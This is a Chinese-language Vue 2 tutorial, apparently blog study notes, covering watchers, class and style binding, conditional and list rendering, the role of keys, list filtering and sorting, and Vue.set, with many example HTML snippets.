<!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <title>天气案例_监视属性</title> <!-- 引入Vue --> <script type="text/javascript" src="../js/vue.js"></script> </head> <body> <div id="root"> <h2>今天天气很{{info}}</h2> <button @click="changeWeather">切换天气</button> </div> </body> <script type="text/javascript"> Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。 const vm = new Vue({ el:'#root', data:{ isHot:true, }, computed:{ info(){ return this.isHot ? '炎热' : '凉爽' } }, methods: { changeWeather(){ this.isHot = !this.isHot } }, watch:{ isHot:{ immediate:true, // 初始化时让handler调用一下 // handler什么时候调用？当isHot发生改变时。 handler(newValue,oldValue){ // 参数：newValue,oldValue 可以查看监视前的数值,和修改后的数值 console.log('isHot被修改了',newValue,oldValue) } } } }) </script> </html>方式二：
<script type="text/javascript"> Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。 const vm = new Vue({ el:'#root', data:{ isHot:true, }, computed:{ info(){ return this.isHot ? '炎热' : '凉爽' } }, methods: { changeWeather(){ this.isHot = !this.isHot } }, // 创建完实例后 第一次参数 'isHot'：要监视的对象 , 第二个参数 配置对象 （同上） // 二者的区别：在创建时就明确监视对象方式一、不明确时方式二 vm.$watch('isHot',{ immediate:true, // 初始化时让handler调用一下 // handler什么时候调用？当isHot发生改变时。 handler(newValue,oldValue){ console.log('isHot被修改了',newValue,oldValue) } }) </script>
🚬 天气案例_深度监视
总结：
<!-- 深度监视： (1).Vue中的watch默认不监测对象内部值的改变（一层）。 (2).配置deep:true可以监测对象内部值改变（多层）。 备注： (1).Vue自身可以监测对象内部值的改变，但Vue提供的watch默认不可以！ (2).使用watch时根据数据的具体结构，决定是否采用深度监视。（为了效率） -->① 只监测a的变化 不监测b 错误
按照上面的写的书写出错
存在的属性是 isHot、numbers 存在的计算属性是 info 不存在所写的a
应该是 numbers .a, 但是会报错 还原为 最初的写法 ‘numbers .a’ , 正常的key 都是 ’ key ’ 简写 key 多个属性时 ‘key.s’ 误区
<!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <title>天气案例_深度监视</title> <!-- 引入Vue --> <script type="text/javascript" src="../js/vue.js"></script> </head> <body> <div id="root"> <h2>今天天气很{{info}}</h2> <button @click="changeWeather">切换天气</button> <hr/> <h3>a的值是:{{numbers.a}}</h3> <button @click="numbers.a++">点我让a+1</button> </div> </body> <script type="text/javascript"> Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。 const vm = new Vue({ el:'#root', data:{ isHot:true, numbers:{ a:1, b:1, } }, computed:{ info(){ return this.isHot ? '炎热' : '凉爽' } }, methods: { changeWeather(){ this.isHot = !this.isHot } }, watch:{ a:{ handler(){ console.log('a被改变了') } }, } }) </script> </html>watch:{ // 监视多级结构中某个属性的变化 'numbers.a':{ handler(){ console.log('a被改变了') } },② 监视 a 和 b的变化
numbers 错误 此时监视的是numbers 而不是监视 numbers 里面属性a和b的变化
// 此时 numbers 发生改变 监视的numbers <button @click="numbers = {a:666,b:888}">彻底替换掉numbers</button><script type="text/javascript"> Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。 const vm = new Vue({ el:'#root', data:{ isHot:true, numbers:{ a:1, b:1, } }, computed:{ info(){ return this.isHot ? '炎热' : '凉爽' } }, methods: { changeWeather(){ this.isHot = !this.isHot } }, watch:{ numbers:{ handler(){ console.log('numbers改变了') } }, } }) </script>② 监视 a 和 b的变化 正确 配置项 deep:true 开启深度监测
<script type="text/javascript"> Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。 const vm = new Vue({ el:'#root', data:{ isHot:true, numbers:{ a:1, b:1, } }, computed:{ info(){ return this.isHot ? '炎热' : '凉爽' } }, methods: { changeWeather(){ this.isHot = !this.isHot } }, //监视多级结构中所有属性的变化 numbers:{ deep:true, handler(){ console.log('numbers改变了') } } } }) </script>
🚬 天气案例_监视属性_简写
要求： 不需要配置项时，可以使用简写
① watch 方式一：正常写法
watch:{ //正常写法 isHot:{ handler(newValue,oldValue){ console.log('isHot被修改了',newValue,oldValue) } }, }② watch 方式一：简写 不允许书写成箭头函数
watch:{ //简写 isHot(newValue,oldValue){ console.log('isHot被修改了',newValue,oldValue,this) } }③ watch 方式二：正常写法
//正常写法 vm.$watch('isHot',{ handler(newValue,oldValue){ console.log('isHot被修改了',newValue,oldValue) } })④ watch 方式二：简写 不允许书写成箭头函数
//简写 vm.$watch('isHot',function(newValue,oldValue){ console.log('isHot被修改了',newValue,oldValue,this) })
🚬 姓名案例_watch实现 和计算属性 做个对比
总结：
初始值需要自己配置，需要监视姓，还需要监视名
<!-- computed和watch之间的区别： 1.computed能完成的功能，watch都可以完成。 2.watch能完成的功能，computed不一定能完成，例如：watch可以进行异步操作。 两个重要的小原则： 1.所被Vue管理的函数，最好写成普通函数，这样this的指向才是vm 或 组件实例对象。 2.所有不被Vue所管理的函数（定时器的回调函数、ajax的回调函数等、Promise的回调函数（成功失败的回调）），最好写成箭头函数， 这样this的指向才是vm 或 组件实例对象。 --><!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <title>姓名案例_watch实现</title> <!-- 引入Vue --> <script type="text/javascript" src="../js/vue.js"></script> </head> <body> <div id="root"> 姓：<input type="text" v-model="firstName"> <br/><br/> 名：<input type="text" v-model="lastName"> <br/><br/> 全名：<span>{{fullName}}</span> <br/><br/> </div> </body> <script type="text/javascript"> Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。 const vm = new Vue({ el:'#root', data:{ firstName:'张', lastName:'三', fullName:'张-三' }, watch:{ firstName(newValue){ console.log(this) this.fullName = newValue + '-' + this.lastName }, lastName(newValue){ this.fullName = this.firstName + '-' + newValue } } }) </script> </html>② 需要姓名改变时，全名延迟 1s实现 此时只能使用 watch
watch 靠的不是返回值,靠的值自己亲自修改
定时器 setTimeout 所指定的函数不是 Vue 所管理的函数，此时一定要是箭头函数,不能书写成普通函数，定时器指定的是Js引擎
watch:{ firstName(newValue){ setTimeout(()=>{ // 定时器,延迟器 console.log(this) this.fullName = newValue + '-' + this.lastName },1000); }, lastName(newValue){ this.fullName = this.firstName + '-' + newValue } }计算属性不能开启异步任务靠的就是return 返回值 此时把renturn的返回值返回给了 setTimeout，fullName没有返回值
computed:{ fullName:{ setTimeout(()=>{ console.log('get被调用了') return this.firstName + '-' + this.lastName },1000) } }
🚲 12、class和style绑定（绑定样式）
总结：
<!-- 绑定样式： 1. class样式 写法:class="xxx" xxx可以是字符串、对象、数组。 字符串写法适用于：类名不确定，要动态获取。 对象写法适用于：要绑定多个样式，个数不确定，名字也不确定。 数组写法适用于：要绑定多个样式，个数确定，名字也确定，但不确定用不用。 2. style样式 :style="{fontSize: xxx}"其中xxx是动态值。 :style="[a,b]"其中a、b是样式对象。 样式对象 的key 是固定的 不能瞎写 如：red -->① 样式
<style> /* 基本样式 */ .basic{ width: 400px; height: 100px; border: 1px solid black; } /* 三种心情 三选一 */ .happy{ border: 4px solid red;; background-color: rgba(255, 255, 0, 0.644); background: linear-gradient(30deg,yellow,pink,orange,yellow); } .sad{ border: 4px dashed rgb(2, 197, 2); background-color: gray; } .normal{ background-color: skyblue; } /* 可以同时使用 */ .text1{ background-color: yellowgreen; } .text2{ font-size: 30px; text-shadow:2px 2px 10px red; } .text3{ border-radius: 20px; } </style>② div 有两个样式 basic 基础的 和一个心情 normal 点击 后变成 happy
正常的样式，正常书写，变化的样式绑定的方式
<body> <div id="root"> <!-- 绑定class样式--字符串写法，适用于：样式的类名不确定，需要动态指定 --> <div class="basic" :class="mood" @click="changeMood">{{name}}</div> <br/><br/> </div> </body> <script type="text/javascript"> Vue.config.productionTip = false const vm = new Vue({ el:'#root', data:{ name:'Tom', mood:'normal', }, methods: { changeMood(){ this.mood = 'happy' } }, }) </script>③ 在② 的基础上修改 变成随机切换心情
<body> <div id="root"> <!-- 绑定class样式--字符串写法，适用于：样式的类名不确定，需要动态指定 --> <div class="basic" :class="mood" @click="changeMood">{{name}}</div> <br/><br/> </div> </body> <script type="text/javascript"> Vue.config.productionTip = false const vm = new Vue({ el:'#root', data:{ name:'Tom', mood:'normal', }, methods: { changeMood(){ const arr = ['happy','sad','normal'] const index = Math.floor(Math.random()*3) // 生成随机数[0,1) floor 向下取整 this.mood = arr[index] } }, }) </script>④ div 初始有 basic 样式 日后可能增加样式多少个 不确定
把需要使用的样式都配置到 data 的 classArr 中
<body> <div id="root"> <!-- 绑定class样式--数组写法，适用于：要绑定的样式个数不确定、名字也不确定 --> <div class="basic" :class="classArr">{{name}}</div> <br/><br/> </div> </body> <script type="text/javascript"> Vue.config.productionTip = false const vm = new Vue({ el:'#root', data:{ name:'Tom', mood:'normal', classArr:['text1','text2','text3'], }, }) </script>
⑤ div 初始有 basic 样式 切换text1 和 text2 （切换的个数确定，名字也确定，不确定的是到底使用不使用）对象写法
<body> <div id="root"> <!-- 绑定class样式--对象写法，适用于：要绑定的样式个数确定、名字也确定，但要动态决定用不用 --> <div class="basic" :class="classObj">{{name}}</div> <br/><br/> </div> </body> <script type="text/javascript"> Vue.config.productionTip = false const vm = new Vue({ el:'#root', data:{ name:'Tom', mood:'normal', classArr:['text1','text2','text3'], classObj:{ text1:false, text2:false, }, }, }) </script>
⑥ 绑定style样式–对象写法 推荐麻烦方式:
<div class="basic" :style="{fontSize: fsize+'px'}">{{name}}</div> <br/><br/> const vm = new Vue({ el:'#root', data:{ fsize: 40 }, })正常方式
<body> <div id="root"> <!-- 绑定style样式--对象写法 --> <div class="basic" :style="[styleObj,styleObj2]">{{name}}</div> <br/><br/> </div> </body> <script type="text/javascript"> Vue.config.productionTip = false const vm = new Vue({ el:'#root', data:{ name:'Tom', mood:'normal', classArr:['text1','text2','text3'], classObj:{ text1:false, text2:false, }, }, }) </script>
⑦ 绑定style样式–数组写法 使用较少// 方式一 ：
<div class="basic" :style="[styleObj,styleObj2]">{{name}}</div> <br/><br/><body> <div id="root"> <!-- 绑定style样式--数组写法 --> <div class="basic" :style="styleArr">{{name}}</div> </div> </body> <script type="text/javascript"> Vue.config.productionTip = false const vm = new Vue({ el:'#root', data:{ name:'Tom', mood:'normal', classArr:['text1','text2','text3'], classObj:{ text1:false, text2:false, }, styleObj:{ fontSize: '40px', color:'red', }, styleObj2:{ backgroundColor:'orange' // 背景颜色 }, }, }) </script>方式二 ：
<body> <div id="root"> <!-- 绑定style样式--数组写法 --> <div class="basic" :style="styleArr">{{name}}</div> </div> </body> <script type="text/javascript"> Vue.config.productionTip = false const vm = new Vue({ el:'#root', data:{ name:'Tom', mood:'normal', classArr:['text1','text2','text3'], classObj:{ text1:false, text2:false, }, styleObj:{ fontSize: '40px', color:'red', }, styleObj2:{ backgroundColor:'orange' // 背景颜色 }, styleArr:[ { fontSize: '40px', color:'blue', }, { backgroundColor:'gray' } ] }, }, }) </script>
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Ybk9k4EU-1658758735345)(VUE入门.assets/image-20220724213709207.png)]](https://i-blog.csdnimg.cn/blog_migrate/d5e0979bc71f42d754122a0144018efe.png)
🚀 13、条件渲染
总结：
<!-- 条件渲染： 1.v-if 写法： (1).v-if="表达式" (2).v-else-if="表达式" (3).v-else="表达式" 适用于：切换频率较低的场景。 特点：不展示的DOM元素直接被移除。 注意：v-if可以和:v-else-if、v-else一起使用，但要求结构不能被“打断”。 2.v-show 写法：v-show="表达式" 适用于：切换频率较高的场景。 特点：不展示的DOM元素未被移除，仅仅是使用样式隐藏掉 3.备注：使用v-if的时，元素可能无法获取到，而使用v-show一定可以获取到。 -->① 让div 隐藏 v-show
- 不仅可以可以写 boolean 值 v-show=“false”
- 也可以写表达式 用表达式的结果来进行判断 v-show=“1 === 1”
- 此时结构存在但是不显示
<!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <title>条件渲染</title> <script type="text/javascript" src="../js/vue.js"></script> </head> <body> <div id="root"> <!-- 使用v-show做条件渲染 --> <h2 v-show="false">欢迎来到{{name}}</h2> <h2 v-show="1 === 1">欢迎来到{{name}}</h2> </div> </body> <script type="text/javascript"> Vue.config.productionTip = false const vm = new Vue({ el:'#root', data:{ name:'Tom', n:0 } }) </script> </html>② 使用 v-if进行条件渲染
- 此时结构斗都不存在
- 同样可以使用boolean 和 表达式
<div id="root"> <!-- 使用v-if做条件渲染 --> <h2 v-if="false">欢迎来到{{name}}</h2> <h2 v-if="1 === 1">欢迎来到{{name}}</h2> </div>③ 小案例：n=0 ,点击n++，n=1时展示一个div，n=2时展示一个div，n=3时展示一个div
// v-if 实现 <div v-if="n === 1">Angular</div> <div v-if="n === 2">React</div> <div v-if="n === 3">Vue</div> // v-show 实现 <div v-show="n === 1">Angular</div> <div v-show="n === 2">React</div> <div v-show="n === 3">Vue</div>二者之间的区别
- 当切换频率高时，使用v-show
- 当切换频率低时，使用v-if
- v-if的拓展，v-else，v-else-if,(if 和 else-if 是一组判断)
- 配合使用时四个div不能打断，要紧紧的挨在一起
<!-- v-else和v-else-if --> <div v-if="n === 1">Angular</div> <div v-else-if="n === 2">React</div> <div v-else-if="n === 3">Vue</div> <div v-else>哈哈</div>④ 三个标签在n=1时展示，v-if与template的配合使用
特别注意：只能template 只能和 v-if使用，v-show不可以
//方式一: 可以实现 但是可能导致 h2 拿不到一些样式 <div v-if="n === 1"> <h2>你好</h2> <h2>Tom</h2> <h2>北京</h2> </div> //方式二: template 模板 最大的特点就是不影响结构 <template v-if="n === 1"> <h2>你好</h2> <h2>Tom</h2> <h2>北京</h2> </template>
🚄 14、列表渲染 重要
🚬 1、基本列表
总结：
<!-- v-for指令: 1.用于展示列表数据 2.语法：v-for="(item, index) in xxx" :key="yyy" 3.可遍历：数组、对象、字符串（用的很少）、指定次数（用的很少） -->①人员列表（遍历数组）
方式一：一个参数接收
<!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <title>基本列表</title> <script type="text/javascript" src="../js/vue.js"></script> </head> <body> <div id="root"> <!-- 遍历数组 --> <h2>人员列表（遍历数组）</h2> <ul> <li v-for="p in persons" :key="p.id"> {{p.name}}-{{p.age}} </li> </ul> <script type="text/javascript"> Vue.config.productionTip = false new Vue({ el:'#root', data:{ persons:[ {id:'001',name:'张三',age:18}, {id:'002',name:'李四',age:19}, {id:'003',name:'王五',age:20} ], } }) </script> </html>方式二：推荐，两个参数接收
<!-- 遍历数组 --> <h2>人员列表（遍历数组）</h2> <ul> <li v-for="(p,index) in persons" :key="index"> {{p.name}}-{{p.age}} </li> </ul>
② 汽车信息（遍历对象）
<div id="root"> <!-- 遍历字符串 --> <h2>测试遍历字符串（用得少）</h2> <ul> <li v-for="(char,index) in str" :key="index"> {{char}}-{{index}} </li> </ul> new Vue({ el:'#root', data:{ car:{ name:'奥迪A8', price:'70万', color:'黑色' }, } })
③ 遍历字符串（用得少），使用较少
<div id="root"> <!-- 遍历字符串 --> <h2>测试遍历字符串（用得少）</h2> <ul> <li v-for="(char,index) in str" :key="index"> {{char}}-{{index}} </li> </ul> new Vue({ el:'#root', data:{ str:'hello' } })
④ 遍历制定次数 使用较少
<!-- 遍历指定次数 --> <h2>测试遍历指定次数（用得少）</h2> <ul> <li v-for="(number,index) in 5" :key="index"> {{index}}-{{number}} </li> </ul>
🚬 2、key的原理
总结：
<!-- 面试题：react、vue中的key有什么作用？（key的内部原理） 1. 虚拟DOM中key的作用： key是虚拟DOM对象的标识，当数据发生变化时，Vue会根据【新数据】生成【新的虚拟DOM】, 随后Vue进行【新虚拟DOM】与【旧虚拟DOM】的差异比较，比较规则如下： 2.对比规则： (1).旧虚拟DOM中找到了与新虚拟DOM相同的key： ①.若虚拟DOM中内容没变, 直接使用之前的真实DOM！ ②.若虚拟DOM中内容变了, 则生成新的真实DOM，随后替换掉页面中之前的真实DOM。 (2).旧虚拟DOM中未找到与新虚拟DOM相同的key 创建新的真实DOM，随后渲染到到页面。 3. 用index作为key可能会引发的问题： 1. 若对数据进行：逆序添加、逆序删除等破坏顺序操作: 会产生没有必要的真实DOM更新 ==> 界面效果没问题, 但效率低。 2. 如果结构中还包含输入类的DOM： 会产生错误DOM更新 ==> 界面有问题。 4. 开发中如何选择key?: 1.最好使用每条数据的唯一标识作为key, 比如id、手机号、身份证号、学号等唯一值。 2.如果不存在对数据的逆序添加、逆序删除等破坏顺序操作，仅用于渲染列表用于展示， 使用index作为key是没有问题的。 -->① 在数组中添加一个老刘，添加的位置在数组的前面，会出现问题（索引为0，索引后移），添加在数组的后面不会出现问题
<!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <title>key的原理</title> <script type="text/javascript" src="../js/vue.js"></script> </head> <body> <div id="root"> <!-- 遍历数组 --> <h2>人员列表（遍历数组）</h2> <!-- @click.once 只点击一次 --> <button @click.once="add">添加一个老刘</button> <ul> <li v-for="(p,index) in persons" :key="index"> {{p.name}}-{{p.age}} <input type="text"> </li> </ul> </div> <script type="text/javascript"> Vue.config.productionTip = false new Vue({ el:'#root', data:{ persons:[ {id:'001',name:'张三',age:18}, {id:'002',name:'李四',age:19}, {id:'003',name:'王五',age:20} ] }, methods: { add(){ const p = {id:'004',name:'老刘',age:40} this.persons.unshift(p) } }, }) </script> </html>
问题：
- 有严重的效率问题
- 从上面往下 添加，索引重新开始生成，一个都没有复用，效率低
- 在后面增加一个input text 文本框 出现严重的问题
- 错在在特殊的情况下使用 :key=“index” index 作为key
② 解决上面说的 添加老刘后面文字 篡位问题 使用 p.id 作为key
<div id="root"> <!-- 遍历数组 --> <h2>人员列表（遍历数组）</h2> <!-- @click.once 只点击一次 --> <button @click.once="add">添加一个老刘</button> <ul> <li v-for="(p,index) in persons" :key="p.id"> {{p.name}}-{{p.age}} <input type="text"> </li> </ul> </div>
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-5wvApage-1658758735348)(VUE入门.assets/image-20220725001108821.png)]](https://i-blog.csdnimg.cn/blog_migrate/065479e23cc81f2701cc6a3304b3548a.png)
🚭 虚拟Dom的对比算法
🚭 key
在没有书写key时，Vue会把的索引值自动作为key
🚭 总结
<!--
面试题：react、vue中的key有什么作用？（key的内部原理）
1. 虚拟DOM中key的作用：
key是虚拟DOM对象的标识，当数据发生变化时，Vue会根据【新数据】生成【新的虚拟DOM】,
随后Vue进行【新虚拟DOM】与【旧虚拟DOM】的差异比较，比较规则如下：
2.对比规则：
(1).旧虚拟DOM中找到了与新虚拟DOM相同的key：
①.若虚拟DOM中内容没变, 直接使用之前的真实DOM！
②.若虚拟DOM中内容变了, 则生成新的真实DOM，随后替换掉页面中之前的真实DOM。
(2).旧虚拟DOM中未找到与新虚拟DOM相同的key
创建新的真实DOM，随后渲染到到页面。
3. 用index作为key可能会引发的问题：
1. 若对数据进行：逆序添加、逆序删除等破坏顺序操作:
会产生没有必要的真实DOM更新 ==> 界面效果没问题, 但效率低。
2. 如果结构中还包含输入类的DOM：
会产生错误DOM更新 ==> 界面有问题。
4. 开发中如何选择key?:
1.最好使用每条数据的唯一标识作为key, 比如id、手机号、身份证号、学号等唯一值。
2.如果不存在对数据的逆序添加、逆序删除等破坏顺序操作，仅用于渲染列表用于展示，
使用index作为key是没有问题的。
-->
🚬 3、列表过滤
① 收集用户所输入的数据 v-model
② 拿着用户的输入信息进行匹配（计算属性标准）
用户输入的关键词 发生变化 就需要重新过滤 ==watch数据监视、计算属性== // 不等发生改变时就调用了一次 immediate:true, // 不包含返回 -1 包含返回第几位出现的索引 return p.name.indexOf(val) !== -1 // filter 不改变原来的数组 会创建一个全新的数组 // 数组的元数据不能发生改变，把新数据交给 filPerons:[] // 上面遍历时，就不能使用persions 而是使用 filPerons // 一个字符里面,包不包含空格字符串 包含 返回索引是 0 不是 -1方式一：watch数据监视
<!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <title>列表过滤</title> <script type="text/javascript" src="../js/vue.js"></script> </head> <body> <!-- 准备好一个容器--> <div id="root"> <h2>人员列表</h2> <input type="text" placeholder="请输入名字" v-model="keyWord"> <ul> <li v-for="(p,index) of filPerons" :key="index"> {{p.name}}-{{p.age}}-{{p.sex}} </li> </ul> </div> <script type="text/javascript"> Vue.config.productionTip = false //用watch实现 new Vue({ el:'#root', data:{ keyWord:'', // 用于绑定，输入的信息 persons:[ {id:'001',name:'马冬梅',age:19,sex:'女'}, {id:'002',name:'周冬雨',age:20,sex:'女'}, {id:'003',name:'周杰伦',age:21,sex:'男'}, {id:'004',name:'温兆伦',age:22,sex:'男'} ], filPerons:[] // 数组的元数据不能发生改变，把新数据交给 filPerons:[] }, watch:{ keyWord:{ immediate:true, // 不等发生改变时就调用了一次 handler(val){ this.filPerons = this.persons.filter((p)=>{ // 不包含返回 -1 包含返回第几位出现的索引，filter 不改变原来的数组 会创建一个全新的数组 // 上面遍历时，就不能使用persions 而是使用 filPerons // 一个字符里面,包不包含空格字符串 包含 返回索引是 0 不是 -1 return p.name.indexOf(val) !== -1 }) } } } }) </script> </html>方式二：计算属性
<!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <title>列表过滤</title> <script type="text/javascript" src="../js/vue.js"></script> </head> <body> <!-- 准备好一个容器--> <div id="root"> <h2>人员列表</h2> <input type="text" placeholder="请输入名字" v-model="keyWord"> <ul> <li v-for="(p,index) of filPerons" :key="index"> {{p.name}}-{{p.age}}-{{p.sex}} </li> </ul> </div> <script type="text/javascript"> Vue.config.productionTip = false //用computed实现 new Vue({ el:'#root', data:{ keyWord:'', // 用于绑定，输入的信息 persons:[ {id:'001',name:'马冬梅',age:19,sex:'女'}, {id:'002',name:'周冬雨',age:20,sex:'女'}, {id:'003',name:'周杰伦',age:21,sex:'男'}, {id:'004',name:'温兆伦',age:22,sex:'男'} ] }, computed:{ filPerons(){ // 计算属性 规定的 返回值 return this.persons.filter((p)=>{ // 返回filter 规定 返回过滤条件 return p.name.indexOf(this.keyWord) !== -1 }) } } }) </script> </html>
🚬 4、列表排序–在数据过滤的基础上进行
过滤和排序是不分家的
<!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <title>列表排序</title> <script type="text/javascript" src="../js/vue.js"></script> </head> <body> <!-- 准备好一个容器--> <div id="root"> <h2>人员列表</h2> <input type="text" placeholder="请输入名字" v-model="keyWord"> <button @click="sortType = 2">年龄升序</button> <button @click="sortType = 1">年龄降序</button> <button @click="sortType = 0">原顺序</button> <ul> <li v-for="(p,index) of filPerons" :key="p.id"> {{p.name}}-{{p.age}}-{{p.sex}} <input type="text"> </li> </ul> </div> <script type="text/javascript"> Vue.config.productionTip = false new Vue({ el:'#root', data:{ keyWord:'', sortType:0, //0原顺序 1降序 2升序 persons:[ {id:'001',name:'马冬梅',age:30,sex:'女'}, {id:'002',name:'周冬雨',age:31,sex:'女'}, {id:'003',name:'周杰伦',age:18,sex:'男'}, {id:'004',name:'温兆伦',age:19,sex:'男'} ] }, computed:{ filPerons(){ const arr = this.persons.filter((p)=>{ return p.name.indexOf(this.keyWord) !== -1 }) //判断一下是否需要排序 if(this.sortType){ // sort 改变原数组 p1 - p2 升序 p2 - p1 降序 arr.sort((p1,p2)=>{ return this.sortType === 1 ? p2.age-p1.age : p1.age-p2.age }) } return arr } } }) </script> </html>
🚬 5、更新时的一个问题
更新时的一个问题
点击按钮更新马冬梅信息
vue检测数据改变的原理
分析检测数据的原理
成功 ①
methods: { updateMei(){ this.persons[0].name = '马老师' //奏效 this.persons[0].age = 50 //奏效 this.persons[0].sex = '男' //奏效 } }失败② 数据已经修改成功，但是Vue 没有发现数据的改变 why？ 后面 Vue监测数据改变的原理–数组 中讲解
methods: { updateMei(){ this.persons[0] = {id:'001',name:'马老师',age:50,sex:'男'} //不奏效 } }
成功 最终 ③methods: { updateMei(){ this.persons.splice(0,1,{id:'001',name:'马老师',age:50,sex:'男'}) //奏效 } }<!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <title>更新时的一个问题</title> <script type="text/javascript" src="../js/vue.js"></script> </head> <body> <!-- 准备好一个容器--> <div id="root"> <h2>人员列表</h2> <button @click="updateMei">更新马冬梅的信息</button> <ul> <li v-for="(p,index) of persons" :key="p.id"> {{p.name}}-{{p.age}}-{{p.sex}} </li> </ul> </div> <script type="text/javascript"> Vue.config.productionTip = false const vm = new Vue({ el:'#root', data:{ persons:[ {id:'001',name:'马冬梅',age:30,sex:'女'}, {id:'002',name:'周冬雨',age:31,sex:'女'}, {id:'003',name:'周杰伦',age:18,sex:'男'}, {id:'004',name:'温兆伦',age:19,sex:'男'} ] }, methods: { updateMei(){ // this.persons[0].name = '马老师' //奏效 // this.persons[0].age = 50 //奏效 // this.persons[0].sex = '男' //奏效 // this.persons[0] = {id:'001',name:'马老师',age:50,sex:'男'} //不奏效 this.persons.splice(0,1,{id:'001',name:'马老师',age:50,sex:'男'}) } } }) </script> </html>
🚭 Vue监测数据改变的原理–对象
<!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <title>Vue监测数据改变的原理</title> <!-- 引入Vue --> <script type="text/javascript" src="../js/vue.js"></script> </head> <body> <!-- 准备好一个容器--> <div id="root"> <h2>学校名称：{{name}}</h2> <h2>学校地址：{{address}}</h2> </div> </body> <script type="text/javascript"> Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。 const vm = new Vue({ el:'#root', data:{ name:'Tom', address:'北京', student:{ name:'tom', age:{ rAge:40, sAge:29, }, friends:[ {name:'jerry',age:35} ] } } }) </script> </html>
🚭 模拟一个数据监测
<!-- Vue 书写的功能很强大： ① 直接vm.name 自己 vm._data.name 数据代理 ② 多少级目录都可以 自己 只能一级 age:{ rAge:40, sAge:29, }, 无法实现 --> <!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <title>Document</title> </head> <body> <script type="text/javascript" > let data = { name:'尚硅谷', address:'北京', } // ① 创建一个监视的实例对象，用于监视data中属性的变化 const obs = new Observer(data) // 收到 Observer 实例对象 console.log(obs) // ④ 准备一个vm实例对象 let vm = {} vm._data = data = obs // Observer 观察者 构造函数 作用: 创建一个，监视的实例对象 可以收到一个对象作为参数 function Observer(obj){ // ② 汇总对象中所有的属性形成一个数组 const keys = Object.keys(obj) // ③ 遍历 keys.forEach((k)=>{ Object.defineProperty(this,k,{ // 不直接动 data 数据，往this身上添加数据 this 是 Observer 的实例对象 get(){ return obj[k] // 把传入的对象，身上对应的属性的值，交出去 }, set(val){ // 可以收到 所修改的值 console.log(`${k}被改了，我要去解析模板，生成虚拟DOM.....我要开始忙了`) // 把传入 对象身上的key 所对应的那个属性 修改 obj[k] = val } }) }) } </script> </body> </html>
🚭 Vue.set方法（Vue Api）
Vue 不完善的功能。如：添加一个性别，当时性别有没有定义下来，随着用户的交互，代码的发现，需要性别
- 数据是undefined，不会报错，只是页面不展示信息
解决方式（两种方式）：
方式一：Vue.set(target,key,val) 在Vue身上
target 目标（往谁的身上添加属性）
key 什么属性
val 属性的值
方式二：vm.$set(vm._data.student,‘sex’,‘男’) 在vm身上
① 基础
<!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <title>Vue监测数据改变的原理</title> <!-- 引入Vue --> <script type="text/javascript" src="../js/vue.js"></script> </head> <body> <!-- 准备好一个容器--> <div id="root"> <h1>学校信息</h1> <h2>学校名称：{{school.name}}</h2> <h2>学校地址：{{school.address}}</h2> <hr/> <h1>学生信息</h1> <h2>姓名：{{student.name}}</h2> <h2>性别：{{student.sex}}</h2> <h2>年龄：真实{{student.age.rAge}}，对外{{student.age.sAge}}</h2> <h2>朋友们</h2> <ul> <li v-for="(f,index) in student.friends" :key="index"> {{f.name}}--{{f.age}} </li> </ul> </div> </body> <script type="text/javascript"> Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。 const vm = new Vue({ el:'#root', data:{ school:{ name:'Tom', address:'北京', }, student:{ name:'tom', age:{ rAge:40, sAge:29, }, friends:[ {name:'jerry',age:35}, {name:'tony',age:36} ] } }, }) </script> </html>② 随着用户的需求，需要添加一个性别
思路：找到student.sex 添加性别 这个思路不行
为什么？
解决办法 使用 Vue 提供的 api，让其实现后添加的数据，也能实现响应式功能
方式一：Vue.set(target,key,val) 在Vue身上
target 目标（往谁的身上添加属性）
key 什么属性
val 属性的值
Vue.set有局限性 Vue.set 只能给data里面的 某一个对象属性 添加属性,不能给data 添加属性
方式二：vm.$set(vm.student,‘sex’,‘男’) 在vm身上
方式一 实现 ：
方式二实现 ：
③ 添加一个功能点我给学生添加一个性别
<div id="root"> <button @click="addSex">添加一个性别属性，默认值是男</button> <h2>姓名：{{student.name}}</h2> <h2 v-if="student.sex">性别：{{student.sex}}</h2> </div> <script type="text/javascript"> Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。 const vm = new Vue({ el:'#root', data:{ }, methods: { addSex(){ // Vue.set(this.student,'sex','男') 或者 this.$set(this.student,'sex','男') } } }) </script>④ Vue.set 有局限性 演示：给学校在添加个校长
<div id="root"> <h2>校长是：{{school.leader}}</h2> </div>
官网解释说明：
🚭 Vue监测数据改变的原理–数组
